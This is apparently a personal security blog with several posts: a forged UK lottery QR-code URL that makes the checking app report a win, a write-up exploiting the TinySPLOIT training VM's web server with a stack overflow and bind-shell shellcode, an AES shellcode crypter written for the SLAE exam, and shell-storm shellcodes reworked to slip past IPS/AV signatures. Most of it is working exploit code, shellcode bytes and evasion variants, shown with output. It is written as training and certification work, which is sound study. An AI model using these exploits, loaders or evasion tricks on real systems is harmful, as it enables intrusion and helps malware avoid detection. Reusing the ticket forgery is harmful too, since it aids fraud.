Sunday 21 August 2016

How to win the national lottery...

Dead quick post for a laugh...

It seems the UK national lottery have brought in a new QR code system for checking tickets.

The decoded URL looks a bit like;
tnl.uk/app/G20/N01/D5/F0930/B5/S0407111426020402052230420711061924384305100309313645050619273435480609/RJTM883324JTM883325JTM883326JTM883327JTP111531

Actually that one I've modified to include a winning result... Build and print the QR code and pass it into the national lottery results checking app and..... Pic attached :-)


P.s. Don't anybody be stupid enough to try and claim, K?

Sunday 19 June 2016

Exploiting TinySPLOIT

Hi there - so recently I attended one of Saumil Shah's excellent Exploit Lab training sessions, highly recommended.  After that, I got hold of a training VM that he had put together called TinySPLOIT.

The challenge is to build an exploit for the HTTP server running on the VM & this is my write-up of solving it :-)

Okay so after setting up the VM, I see a HTTP server, the page indicates that this service is indeed the target and gives a quick clue to the exploitation vector;



So I put together a quick perl script to pipe out using netcat to test out the crash condition and do the binary chop to figure out the bytes that overwrite EIP;

1:  #!/usr/bin/perl  
2:  print "GET /" . "A"x352 . "B"x4 . "C"x450 . "HTTP/1.0\n\n";  

The B's nicely overwrite EIP at this stage and ESP points to the beginning of the C's so I can just hunt for a JMP ESP to use like so;

 (gdb) info proc mappings  
 process 1057  
 Mapped address spaces:  
     Start Addr  End Addr    Size   Offset objfile  
      0x8048000 0x804c000   0x4000    0x0 /opt/ghttpd/ghttpd  
      0x804c000 0x804d000   0x1000   0x3000 /opt/ghttpd/ghttpd  
      0x804d000 0x804f000   0x2000   0x4000 /opt/ghttpd/ghttpd  
      0x804f000 0x8071000  0x22000    0x0 [heap]  
     0xb7eb8000 0xb7ec0000   0x8000    0x0 /lib/libnss_files-2.17.so  
     0xb7ec0000 0xb7ec1000   0x1000   0x7000 /lib/libnss_files-2.17.so  
     0xb7ec1000 0xb7ec2000   0x1000   0x8000 /lib/libnss_files-2.17.so  
     0xb7ec4000 0xb7ec5000   0x1000    0x0  
     0xb7ec5000 0xb7fdc000  0x117000    0x0 /lib/libc-2.17.so  
     0xb7fdc000 0xb7fde000   0x2000  0x116000 /lib/libc-2.17.so  
     0xb7fde000 0xb7fdf000   0x1000  0x118000 /lib/libc-2.17.so  
     0xb7fdf000 0xb7fe2000   0x3000    0x0  
     0xb7fe3000 0xb7fe4000   0x1000    0x0  
     0xb7fe4000 0xb7fe5000   0x1000    0x0  
     0xb7fe5000 0xb7fe6000   0x1000    0x0 [vdso]  
     0xb7fe6000 0xb7ffe000  0x18000    0x0 /lib/ld-2.17.so  
     0xb7ffe000 0xb7fff000   0x1000  0x17000 /lib/ld-2.17.so  
     0xb7fff000 0xb8000000   0x1000  0x18000 /lib/ld-2.17.so  
     0xbffdf000 0xc0000000  0x21000    0x0 [stack]  
 (gdb) find /b 0xb7ec5000, 0xb7fdc000, 0xff, 0xe4  
 0xb7ec7a51  
 0xb7fb7223  
 ...  


Okay next stage is to add in the shellcode so I attempted to use the bind shell one I wrote for my SLAE here: http://pheneghan.blogspot.co.uk/2016/05/x86-bind-shell-from-scratch.html - this didn't work and there is a good reason why...  Busybox!

So while my previous bind shell shellcode called execve like this;

execve("/bin//sh", [0], [/* 0 vars */])

...with busybox, I'll need to call it like this instead;

execve("/bin//sh", ["/bin//sh"], [/* 0 vars */])

Busybox uses a series of symbolic links to real program names and a single big binary contains all of the basic GNU tools and switches depending on how it is called.  Clearly for this, it'll need to know the argv[0] value and so the second case is required.

I modified the shellcode as shown below to implement the new execve and call /bin/sh using busybox;

 paul@SLAE001:~$ cat tinysploit.nasm  
 ; bind.asm  
 ; Paul Heneghan  
 global _start  
 section .text  
   _start:  
   ; clear regs so can use al, bl, etc... to avoid nulls!  
        xor          eax, eax  
        xor          ebx, ebx  
        xor          esi, esi     ;going to use this to push nulls  
   ; socket via socketcall  
     mov   bl, 0x1           ; socketcall number 1  
                                   ; int socket(int domain, int type, int protocol);  
     push  esi                ; socket arg 3  
     push  0x1                ; socket arg 2  
     push  0x2                    ; socket arg 1  
     mov   ecx, esp          ; socketcall args  
     mov   al, 0x66           ; system call number 66  
                                   ;int socketcall(int call, unsigned long *args);  
     int   0x80  
     mov          edx, eax          ; save sockfd for later  
      ; bind via socketcall  
        mov   bl, 0x2            ; socketcall number 2  
                                      ;int bind(int sockfd, const struct sockaddr *addr, socklen_t addrlen);  
        push     esi                ;ip addr = any  
        push     word      0x5c11               ;port 115c = 4444  
        push     word     0x2                    ;family inet = 2  
        mov          ecx, esp  
        push     0x10               ; bind arg 3  
        push     ecx                ; bind arg 2  
        push      eax                    ; bind arg 1  
        mov   ecx, esp          ; pointer to bind args  
        mov   al, 0x66           ; system call number 66  
                                      ;int socketcall(int call, unsigned long *args);  
     int   0x80  
      ; listen via socketcall  
        mov   bl, 0x4       ; socketcall number 4  
                                      ;int listen(int sockfd, int backlog);  
        push      esi                ; listen arg 2  
        push      edx                    ; listen arg 1  
        mov      ecx, esp  
        mov   al, 0x66       ; system call number 66  
                                      ;int socketcall(int call, unsigned long *args);  
        int   0x80  
      ; accept via socketcall  
        mov   bl, 0x5       ; socketcall number 5  
                                      ;int accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen);   
        push     esi                ; bind arg 3  
        push     esi                ; bind arg 2  
        push      edx                    ; bind arg 1  
        mov   ecx, esp          ; pointer to bind args  
        mov   al, 0x66       ; system call number 66  
                                      ;int socketcall(int call, unsigned long *args);  
        int   0x80  
        mov          ebx, eax          ; save connection fd for later  
      ; dup2  
        xor      ecx, ecx           ; clear down ecx to avoid nulls  
 duploop:  
        mov   al, 0x3f          ; int dup2(int oldfd, int newfd);  
        int   0x80  
           inc          ecx  
           cmp ecx, 3  
           jne duploop  
      ; execve  
           mov al, 0xb               ; int execve(const char *filename, char *const argv[], char *const envp[]);  
           push esi  
           push     0x68732f2f  
           push     0x6e69622f  
           mov ebx, esp  
           push esi  ;new instruction to add a null spacer  
           push ebx ;new instruction to push the address of the /bin//sh  
           mov ecx, esp ;move the stack pointer into the second execve arg  
           ;xor ecx, ecx  
           xor edx, edx  
           int 0x80  
 paul@SLAE001:~$ ./compile.sh tinysploit  
 [+] Assembling with Nasm ...   
 [+] Linking ...  
 [+] Done!  
 paul@SLAE001:~$ objdump -d ./tinysploit|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'   
 "\x31\xc0\x31\xdb\x31\xf6\xb3\x01\x56\x6a\x01\x6a\x02\x89\xe1\xb0\x66\xcd\x80\x89\xc2\xb3\x02\x56\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\x6a\x10\x51\x50\x89\xe1\xb0\x66\xcd\x80\xb3\x04\x56\x52\x89\xe1\xb0\x66\xcd\x80\xb3\x05\x56\x56\x52\x89\xe1\xb0\x66\xcd\x80\x89\xc3\x31\xc9\xb0\x3f\xcd\x80\x41\x83\xf9\x03\x75\xf6\xb0\x0b\x56\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x56\x53\x89\xe1\x31\xd2\xcd\x80"  
 paul@SLAE001:~$   


Now I can drop this shellcode into the exploit script like so;

1:  #!/usr/bin/perl  
2:  $shellcode = "\x31\xc0\x31\xdb\x31\xf6\xb3\x01\x56\x6a\x01\x6a\x02\x89\xe1\xb0\x66\xcd\x80\x89\xc2\xb3\x02\x56\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\x6a\x10\x51\x50\x89\xe1\xb0\x66\xcd\x80\xb3\x04\x56\x52\x89\xe1\xb0\x66\xcd\x80\xb3\x05\x56\x56\x52\x89\xe1\xb0\x66\xcd\x80\x89\xc3\x31\xc9\xb0\x3f\xcd\x80\x41\x83\xf9\x03\x75\xf6\xb0\x0b\x56\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x56\x53\x89\xe1\x31\xd2\xcd\x80";  
3:  print "GET /" . "A"x352 . "\x51\x7a\xec\xb7" . $shellcode . "C"x200 . "HTTP/1.0\n\n";  

This works nicely and the bind shell works :-)





Thanks again to Saumil Shah for the excellent training!

Friday 17 June 2016

x86 custom shellcode crypter

The final part of my SLAE (http://www.securitytube-training.com/online-courses/securitytube-linux-assembly-expert/) is to create a custom crypter as a standalone elf, to execute shellcode locally.

For this, I am going to use AES as the encryption algorithm and the execve /bin/sh shellcode payload, and code the crypter in C.  I looked around at which libraries are available...  I wasn't about to write the algorithm from scratch...!

I discovered a nice PoC using the libmcrypt Library here;
https://gist.github.com/bricef/2436364#file-aes-c

Firstly, I bastardised this program to allow me to encrypt the shellcode.
https://github.com/pabb85/SLAE/blob/master/crypt-test.c ;

 paul@SLAE001:~$ cat crypt-test.c   
 #include <stdio.h>  
 #include <stdlib.h>  
 #include <string.h>  
   
 /*  
  * MCrypt API available online:  
  * http://linux.die.net/man/3/mcrypt  
  */  
 #include <mcrypt.h>  
   
 #include <math.h>  
 #include <stdint.h>  
 #include <stdlib.h>  
   
 int encrypt(  
   void* buffer,  
   int buffer_len, /* Because the plaintext could include null bytes*/  
   char* IV,   
   char* key,  
   int key_len   
 ){  
  MCRYPT td = mcrypt_module_open("rijndael-128", NULL, "cbc", NULL);  
  int blocksize = mcrypt_enc_get_block_size(td);  
  if( buffer_len % blocksize != 0 ){return 1;}  
   
  mcrypt_generic_init(td, key, key_len, IV);  
  mcrypt_generic(td, buffer, buffer_len);  
  mcrypt_generic_deinit (td);  
  mcrypt_module_close(td);  
    
  return 0;  
 }  
   
 int decrypt(  
   void* buffer,  
   int buffer_len,  
   char* IV,   
   char* key,  
   int key_len   
 ){  
  MCRYPT td = mcrypt_module_open("rijndael-128", NULL, "cbc", NULL);  
  int blocksize = mcrypt_enc_get_block_size(td);  
  if( buffer_len % blocksize != 0 ){return 1;}  
    
  mcrypt_generic_init(td, key, key_len, IV);  
  mdecrypt_generic(td, buffer, buffer_len);  
  mcrypt_generic_deinit (td);  
  mcrypt_module_close(td);  
    
  return 0;  
 }  
   
 void display(char* ciphertext, int len){  
  int v;  
  for (v=0; v<len; v++){  
   printf("%c", ciphertext[v]);  
  }  
  printf("\n");  
 }  
   
 int main()  
 {  
  MCRYPT td, td2;  
  unsigned char * plaintext = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";  
  char* IV = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";  
  char *key = "0123456789abcdef0123456789abcdef";  
  int keysize = 32; /* 128 bits */  
  unsigned char* buffer;  
  int buffer_len = 32;  
   
  buffer = calloc(1, buffer_len);  
  strncpy(buffer, plaintext, buffer_len);  
   
  printf("==C==\n");  
  printf("plain:  %s\n", plaintext);  
  encrypt(buffer, buffer_len, IV, key, keysize);   
  printf("cipher: "); display(buffer , buffer_len);  
  decrypt(buffer, buffer_len, IV, key, keysize);  
  printf("decrypt: %s\n", buffer);  
   
  return 0;  
 }  
 paul@SLAE001:~$ gcc crypt-test.c -o crypt-test -m32 -fno-stack-protector -z execstack -lmcrypt  
 paul@SLAE001:~$ ./crypt-test |hexdump -C  
 00000000 3d 3d 43 3d 3d 0a 70 6c 61 69 6e 3a 20 20 20 31 |==C==.plain:  1|  
 00000010 c0 50 68 2f 2f 73 68 68 2f 62 69 6e 89 e3 50 89 |.Ph//shh/bin..P.|  
 00000020 e2 53 89 e1 b0 0b cd 80 0a 63 69 70 68 65 72 3a |.S.......cipher:|  
 00000030 20 20 27 02 b8 1b cc 83 26 55 ec bb 06 82 33 bc | '.....&U....3.|  
 00000040 22 cf aa 35 ab d4 cf b0 ed 5c 0a 11 30 32 e6 eb |"..5.....\..02..|  
 00000050 71 1f 0a 64 65 63 72 79 70 74 3a 20 31 c0 50 68 |q..decrypt: 1.Ph|  
 00000060 2f 2f 73 68 68 2f 62 69 6e 89 e3 50 89 e2 53 89 |//shh/bin..P..S.|  
 00000070 e1 b0 0b cd 80 0a                 |......|  
 00000076  
 paul@SLAE001:~$   
   


After this, I again hacked the elegant original file into a messy decryption program.
https://github.com/pabb85/SLAE/blob/master/decrypt-test.c ;

 paul@SLAE001:~$ cat decrypt-test.c   
 #include <stdio.h>  
 #include <stdlib.h>  
 #include <string.h>  
   
 /*  
  * MCrypt API available online:  
  * http://linux.die.net/man/3/mcrypt  
  */  
 #include <mcrypt.h>  
   
 #include <math.h>  
 #include <stdint.h>  
 #include <stdlib.h>  
   
 int encrypt(  
   void* buffer,  
   int buffer_len, /* Because the plaintext could include null bytes*/  
   char* IV,   
   char* key,  
   int key_len   
 ){  
  MCRYPT td = mcrypt_module_open("rijndael-128", NULL, "cbc", NULL);  
  int blocksize = mcrypt_enc_get_block_size(td);  
  if( buffer_len % blocksize != 0 ){return 1;}  
   
  mcrypt_generic_init(td, key, key_len, IV);  
  mcrypt_generic(td, buffer, buffer_len);  
  mcrypt_generic_deinit (td);  
  mcrypt_module_close(td);  
    
  return 0;  
 }  
   
 int decrypt(  
   void* buffer,  
   int buffer_len,  
   char* IV,   
   char* key,  
   int key_len   
 ){  
  MCRYPT td = mcrypt_module_open("rijndael-128", NULL, "cbc", NULL);  
  int blocksize = mcrypt_enc_get_block_size(td);  
  if( buffer_len % blocksize != 0 ){return 1;}  
    
  mcrypt_generic_init(td, key, key_len, IV);  
  mdecrypt_generic(td, buffer, buffer_len);  
  mcrypt_generic_deinit (td);  
  mcrypt_module_close(td);  
    
  return 0;  
 }  
   
 void display(char* ciphertext, int len){  
  int v;  
  for (v=0; v<len; v++){  
   printf("\\x%x", ciphertext[v]);  
  }  
  printf("\n");  
 }  
   
 int main()  
 {  
  MCRYPT td, td2;  
  char * plaintext = "\x27\x02\xb8\x1b\xcc\x83\x26\x55\xec\xbb\x06\x82\x33\xbc\x22\xcf\xaa\x35\xab\xd4\xcf\xb0\xed\x5c\x0a\x11\x30\x32\xe6\xeb\x71\x1f";  
  char* IV = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";  
  char *key = "0123456789abcdef0123456789abcdef";  
  int keysize = 32; /* 128 bits */  
  char* buffer;  
  int buffer_len = 32;  
   
  buffer = calloc(1, buffer_len);  
  strncpy(buffer, plaintext, buffer_len);  
   
  printf("==C==\n");  
  //printf("plain:  %s\n", plaintext);  
  //encrypt(buffer, buffer_len, IV, key, keysize);   
  printf("cipher: "); display(buffer , buffer_len);  
  decrypt(buffer, buffer_len, IV, key, keysize);  
  printf("decrypt: %s\n", buffer);  
    
  //jump into SC  
  printf("Shellcode Length: %d\n", strlen(buffer));  
  int (*ret)() = (int(*)())buffer;  
  ret();  
   
  return 0;  
 }  
 paul@SLAE001:~$ gcc decrypt-test.c -o decrypt-test -m32 -fno-stack-protector -z execstack -lmcrypt  
 paul@SLAE001:~$ ./decrypt-test   
 ==C==  
 cipher: \x27\x2\xffffffb8\x1b\xffffffcc\xffffff83\x26\x55\xffffffec\xffffffbb\x6\xffffff82\x33\xffffffbc\x22\xffffffcf\xffffffaa\x35\xffffffab\xffffffd4\xffffffcf\xffffffb0\xffffffed\x5c\xa\x11\x30\x32\xffffffe6\xffffffeb\x71\x1f  
 decrypt: 1�Ph//shh/bin��P��S���  
   
 Shellcode Length: 25  
 $ id  
 uid=1000(paul) gid=1000(paul) groups=1000(paul),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),109(lpadmin),124(sambashare)  
 $   
   


Wahey!!  This works.  Note that the decrypt-test.c doesn't contain the unencrypted version of the shellcode :-)

So finally, clean up the code somewhat to complete the exercise and my exam submission for SLAE..!
https://github.com/pabb85/SLAE/blob/master/crypter-final.c ;

 paul@SLAE001:~$ cat crypter-final.c   
 #include <stdio.h>  
 #include <stdlib.h>  
 #include <string.h>  
 #include <mcrypt.h>  
 #include <math.h>  
 #include <stdint.h>  
 #include <stdlib.h>  
   
   
 int decrypt(  
   void* buffer,  
   int buffer_len,  
   char* IV,   
   char* key,  
   int key_len   
 ){  
  MCRYPT td = mcrypt_module_open("rijndael-128", NULL, "cbc", NULL);  
  int blocksize = mcrypt_enc_get_block_size(td);  
  if( buffer_len % blocksize != 0 ){return 1;}  
    
  mcrypt_generic_init(td, key, key_len, IV);  
  mdecrypt_generic(td, buffer, buffer_len);  
  mcrypt_generic_deinit (td);  
  mcrypt_module_close(td);  
    
  return 0;  
 }  
   
   
 int main()  
 {  
  MCRYPT td, td2;  
  char * crypted_sc = "\x27\x02\xb8\x1b\xcc\x83\x26\x55\xec\xbb\x06\x82\x33\xbc\x22\xcf\xaa\x35\xab\xd4\xcf\xb0\xed\x5c\x0a\x11\x30\x32\xe6\xeb\x71\x1f";  
  char* IV = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";  
  char *key = "0123456789abcdef0123456789abcdef";  
  int keysize = 32; /* 128 bits */  
  char* buffer;  
  int buffer_len = 32;  
   
  buffer = calloc(1, buffer_len);  
  strncpy(buffer, crypted_sc, buffer_len);  
  decrypt(buffer, buffer_len, IV, key, keysize);  
    
  //jump into SC  
  int (*ret)() = (int(*)())buffer;  
  ret();  
   
  return 0;  
 }  
 paul@SLAE001:~$ gcc crypter-final.c -o crypter-final -m32 -fno-stack-protector -z execstack -lmcrypt  
 paul@SLAE001:~$ ./crypter-final   
 $ id  
 uid=1000(paul) gid=1000(paul) groups=1000(paul),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),109(lpadmin),124(sambashare)  
 $   
   



This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification, Student ID:  SLAE-469.

x86 shellcode defeating pattern-matching

Hi there, post six of seven for my SLAE (http://www.securitytube-training.com/online-courses/securitytube-linux-assembly-expert/) is an exercise in defeating pattern-matching by altering three shellcodes gathered from shell-storm.org - the aim of which is to allow the shellcode to function as normal even if the shellcode has been sampled and entered into IPS/AV signature databases.

The three results follow :-)

https://github.com/pabb85/SLAE/blob/master/execve-halt-altered_analysis ;

 Shellcode source: http://shell-storm.org/shellcode/files/shellcode-483.php  
 Description: Linux/x86 - execve(/sbin/halt,/sbin/halt) - 27 bytes by TheWorm  
   
 This shellcode comes in a C program like so;  
 --begins--  
 #include <stdio.h>  
   
 const char shellcode[]=  
      "\x6a\x0b"          // push     $0xb  
      "\x58"               // pop     %eax  
      "\x99"               // cltd  
      "\x52"               // push     %edx  
      "\x66\x68\x6c\x74"     // pushw $0x746c  
      "\x68\x6e\x2f\x68\x61"     // push     $0x61682f6e  
      "\x68\x2f\x73\x62\x69"     // push     $0x6962732f  
      "\x89\xe3"          // mov     %esp,%ebx  
      "\x52"               // push     %edx  
      "\x53"               // push     %ebx  
      "\x89\xe1"          // mov     %esp,%ecx  
      "\xcd\x80";          // int     $0x80  
   
 int main()  
 {  
      printf     ("\n[+] Linux/x86 execve(/sbin/halt,/sbin/halt)"  
           "\n[+] Date: 11/07/2009"  
           "\n[+] Author: TheWorm"  
           "\n\n[+] Shellcode Size: %d bytes\n\n", sizeof(shellcode)-1);  
      (*(void (*)()) shellcode)();  
      return 0;  
 }  
 --ends--  
   
 Let's keep this first example simple - break the pattern with nops :-)  
   
 "\x6a\x0b"          // push     $0xb  
 "\x90"               // nop  
 "\x58"               // pop     %eax  
 "\x90"               // nop  
 "\x99"               // cltd  
 "\x90"               // nop  
 "\x52"               // push     %edx  
 "\x90"               // nop  
 "\x66\x68\x6c\x74"     // pushw $0x746c  
 "\x90"               // nop  
 "\x68\x6e\x2f\x68\x61"     // push     $0x61682f6e  
 "\x90"               // nop  
 "\x68\x2f\x73\x62\x69"     // push     $0x6962732f  
 "\x90"               // nop  
 "\x89\xe3"          // mov     %esp,%ebx  
 "\x90"               // nop  
 "\x52"               // push     %edx  
 "\x90"               // nop  
 "\x53"               // push     %ebx  
 "\x90"               // nop  
 "\x89\xe1"          // mov     %esp,%ecx  
 "\x90"               // nop  
 "\xcd\x80";          // int     $0x80  
   
   
 Let's prove this by compiling and running (I'm going to catch this in strace as a low priv user because I don't really want the halt :-)  
   
   
 paul@SLAE001:~$ gcc execve-halt-altered.c -o execve-halt-altered -m32 -fno-stack-protector -z execstack  
 paul@SLAE001:~$ strace ./execve-halt-altered   
 execve("./execve-halt-altered", ["./execve-halt-altered"], [/* 21 vars */]) = 0  
 ...  
 write(1, "\n", 1  
 )            = 1  
 write(1, "[+] Linux/x86 execve(/sbin/halt,"..., 44[+] Linux/x86 execve(/sbin/halt,/sbin/halt)  
 ) = 44  
 write(1, "[+] Date: 11/07/2009\n", 21[+] Date: 11/07/2009  
 ) = 21  
 write(1, "[+] Author: TheWorm\n", 20[+] Author: TheWorm  
 )  = 20  
 write(1, "\n", 1  
 )            = 1  
 write(1, "[+] Shellcode Size: 38 bytes\n\n", 30[+] Shellcode Size: 38 bytes  
   
 ) = 30  
 execve("/sbin/halt", ["/sbin/halt"], [/* 0 vars */]) = 0  
 ...  
 write(2, "halt: Need to be root\n", 22halt: Need to be root  
 ) = 22  
 exit_group(1)              = ?  
 paul@SLAE001:~$   
   
 Okay, nice... This very basic method works.  
 Although - it does increases the size of the shellcode a fair bit.  
   

https://github.com/pabb85/SLAE/blob/master/cat-passwd-altered_analysis ;

 Shellcode source: http://shell-storm.org/shellcode/files/shellcode-571.php  
 Description: Linux/x86 - bin/cat /etc/passwd - 43 bytes by fb1h2s  
   
 This shellcode also comes in a C program like so;  
 --begins--  
 #include <stdio.h>  
    
 const char shellcode[]="\x31\xc0" // xorl %eax,%eax  
 "\x99" // cdq  
 "\x52" // push edx  
 "\x68\x2f\x63\x61\x74" // push dword 0x7461632f  
 "\x68\x2f\x62\x69\x6e" // push dword 0x6e69622f  
 "\x89\xe3" // mov ebx,esp  
 "\x52" // push edx  
 "\x68\x73\x73\x77\x64" // push dword 0x64777373  
 "\x68\x2f\x2f\x70\x61" // push dword 0x61702f2f  
 "\x68\x2f\x65\x74\x63" // push dword 0x6374652f  
 "\x89\xe1" // mov ecx,esp  
 "\xb0\x0b" // mov $0xb,%al  
 "\x52" // push edx  
 "\x51" // push ecx  
 "\x53" // push ebx  
 "\x89\xe1" // mov ecx,esp  
 "\xcd\x80" ; // int 80h  
    
 int main()  
 {  
 (*(void (*)()) shellcode)();  
    
 return 0;  
 }  
    
    
 /*  
 shellcode[]=     "\x31\xc0\x99\x52\x68\x2f\x63\x61\x74\x68\x2f\x62\x69\x6e\x89\xe3\x52\x68\x73\x73\x77\x64"   
           "\x68\x2f\x2f\x70\x61\x68\x2f\x65\x74\x63\x89\xe1\xb0\x0b\x52\x51\x53\x89\xe1\xcd\x80";  
 */  
 --ends--  
   
 On this second example, let's mess around with it by adding unnecessary but valid instructions :-)  
   
 "\x31\xc0" // xorl %eax,%eax  
 "\x99" // cdq  
 "\x52" // push edx  
 "\x68\x2f\x63\x61\x74" // push dword 0x7461632f  
 "\x68\xef\xbe\xad\xde" // ADDED: push dword 0xdeadbeef  
 "\x5b" // ADDED: pop ebx  
 "\x68\x2f\x62\x69\x6e" // push dword 0x6e69622f  
 "\x89\xe3" // mov ebx,esp  
 "\x52" // push edx  
 "\x68\x73\x73\x77\x64" // push dword 0x64777373  
 "\x40" // ADDED: inc eax  
 "\x68\x2f\x2f\x70\x61" // push dword 0x61702f2f  
 "\x48" // ADDED: dec eax  
 "\x68\x2f\x65\x74\x63" // push dword 0x6374652f  
 "\x89\xe1" // mov ecx,esp  
 "\xb0\x0b" // mov $0xb,%al  
 "\x52" // push edx  
 "\x51" // push ecx  
 "\x53" // push ebx  
 "\x89\xe1" // mov ecx,esp  
 "\xcd\x80" ; // int 80h  
   
   
 Let's prove this by compiling and running...  
   
 paul@SLAE001:~$ gcc cat-passwd-altered.c -o cat-passwd-altered -m32 -fno-stack-protector -z execstack  
 paul@SLAE001:~$ ./cat-passwd-altered   
 root:x:0:0:root:/root:/bin/bash  
 daemon:x:1:1:daemon:/usr/sbin:/bin/sh  
 bin:x:2:2:bin:/bin:/bin/sh  
 ...  
 paul@SLAE001:~$   
   
   
 Okay, nice... Also another method which works nicely.  
 Less easy for IDS/AV/etc to spot, they could exclude NOPs but not valid instrutions.  
 Breaks up the strings being pushed also.  
   
 Adds a small bit of size.  
   
   

https://github.com/pabb85/SLAE/blob/master/flush-iptables_analysis ;

 Shellcode source: http://shell-storm.org/shellcode/files/shellcode-368.php  
 Description: Linux/x86 - iptables --flush - 43 bytes by Hamza Megahed  
   
 This shellcode comes as a C file;  
 --begins--  
 /*  
  * 06/03/2003   
  *   
  * ( 45 bytes ) to flush iptables.  
  *  
  * _execve(/sbin/iptables -F) by UnboundeD  
  * greetz to s0t4ipv6.  
  *  
  */  
   
 char shellcode[] =  
   
 "\x31\xd2"           // xorl     %edx,%edx  
 "\x52"             // pushl    %edx  
 "\x66\x68\x2d\x46"       // pushw    $0x462d  
 "\x89\xe6"           // movl     %esp,%esi  
 "\x52"             // pushl    %edx  
 "\x68\x62\x6c\x65\x73"     // pushl    $0x73656c62  
 "\x68\x69\x70\x74\x61"     // pushl    $0x61747069  
 "\x89\xe7"           // movl     %esp,%edi  
 "\x68\x62\x69\x6e\x2f"     // pushl    $0x2f6e6962  
 "\x68\x2f\x2f\x2f\x73"     // pushl    $0x732f2f2f  
 "\x89\xe3"           // movl     %esp,%ebx  
 "\x52"             // pushl    %edx  
 "\x56"             // pushl    %esi  
 "\x57"             // pushl    %edi  
 "\x89\xe1"           // movl     %esp,%ecx  
 "\x31\xc0"           // xorl     %eax,%eax  
 "\xb0\x0b"           // movb     $0xb,%al  
 "\xcd\x80"           // int     $0x80  
 ;  
   
 main() {  
     int *ret;  
     ret=(int *)&ret +2;  
     printf("Shellcode lenght=%d\n",strlen(shellcode));  
     (*ret) = (int)shellcode;  
 }  
 --ends--  
   
 For this third example, let's straight-up try and optimise it.   
 Let's try and run it first...  
   
 paul@SLAE001:~$ gcc flush-iptables.c -o flush-iptables -m32 -fno-stack-protector -z execstack  
 flush-iptables.c: In function ‘main’:  
 flush-iptables.c:36:9: warning: incompatible implicit declaration of built-in function ‘printf’ [enabled by default]  
 flush-iptables.c:36:40: warning: incompatible implicit declaration of built-in function ‘strlen’ [enabled by default]  
 paul@SLAE001:~$ strace ./flush-iptables   
 execve("./flush-iptables", ["./flush-iptables"], [/* 21 vars */]) = 0  
 ...  
 write(1, "Shellcode lenght=45\n", 20Shellcode lenght=45  
 )  = 20  
 exit_group(-1081789164)         = ?  
 paul@SLAE001:~$   
   
   
 Okay, getting some errors running it so just dropped it into a known-working C program wrapper with the includes, etc.  
   
 paul@SLAE001:~$ cat shellcode.c   
 #include<stdio.h>  
 #include<string.h>  
   
 //compile with: gcc shellcode.c -o shellcode -m32 -fno-stack-protector -z execstack   
   
   
 unsigned char code[] = \  
 "\x31\xd2\x52\x66\x68\x2d\x46\x89\xe6\x52\x68\x62\x6c\x65\x73\x68\x69\x70\x74\x61\x89\xe7\x68\x62\x69\x6e\x2f\x68\x2f\x2f\x2f\x73\x89\xe3\x52\x56\x57\x89\xe1\x31\xc0\xb0\x0b\xcd\x80";  
   
 main()  
 {  
   
      printf("Shellcode Length: %d\n", strlen(code));  
   
      int (*ret)() = (int(*)())code;  
   
      ret();  
   
 }  
 paul@SLAE001:~$ gcc shellcode.c -o shellcode -m32 -fno-stack-protector -z execstack  
 paul@SLAE001:~$ strace ./shellcode   
 execve("./shellcode", ["./shellcode"], [/* 21 vars */]) = 0  
 ...  
 write(1, "Shellcode Length: 45\n", 22Shellcode Length: 45  
 ) = 22  
 execve("///sbin/iptables", ["iptables", "-F"], [/* 0 vars */]) = 0  
 brk(0)                 = 0x9804000  
 ...  
 exit_group(3)              = ?  
 paul@SLAE001:~$   
   
   
 Okay, this works, lets have a tinker with the shellcode and try and optimise it somewhat - the main purpose being to change the instructions so that the pattern of the file is not recognised by IPS/AV as being in their signature databases.  
   
 I came up with the following alternative version of the shellcode;  
   
 global _start  
 section .text  
 _start:  
   xor eax,eax  
   mov al,0xb  
   cdq  
   ;xor edx,edx  
   push edx  
   push word 0x462d    ; -F  
   mov esi,esp  
   push edx  
   push dword 0x73656c62  ; bles  
   push dword 0x61747069  ; ipta  
   mov edi,esp  
   push dword 0x2f6e6962  ; bin/  
   push word 0x732f    ; /s  
   mov ebx,esp  
   push edx  
   push esi  
   push edi  
   mov ecx,esp  
   ;xor eax,eax  
   ;mov al,0xb  
   int 0x80  
   
   
 Let's test it...  
   
 paul@SLAE001:~$ ./compile.sh flush-iptables  
 [+] Assembling with Nasm ...   
 [+] Linking ...  
 [+] Done!  
 paul@SLAE001:~$ strace ./flush-iptables   
 execve("./flush-iptables", ["./flush-iptables"], [/* 21 vars */]) = 0  
 execve("/sbin/iptables", ["iptables", "-F"], [/* 0 vars */]) = 0  
 ...  
 exit_group(3)              = ?  
 paul@SLAE001:~$ objdump -d ./flush-iptables|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'  
 "\x31\xc0\xb0\x0b\x99\x52\x66\x68\x2d\x46\x89\xe6\x52\x68\x62\x6c\x65\x73\x68\x69\x70\x74\x61\x89\xe7\x68\x62\x69\x6e\x2f\x66\x68\x2f\x73\x89\xe3\x52\x56\x57\x89\xe1\xcd\x80"  
 paul@SLAE001:~$ perl -e 'print "\x31\xc0\xb0\x0b\x99\x52\x66\x68\x2d\x46\x89\xe6\x52\x68\x62\x6c\x65\x73\x68\x69\x70\x74\x61\x89\xe7\x68\x62\x69\x6e\x2f\x66\x68\x2f\x73\x89\xe3\x52\x56\x57\x89\xe1\xcd\x80";' | wc -c  
 43  
 paul@SLAE001:~$   
   
   
 Nice...! In the new, altered form it works.  
   
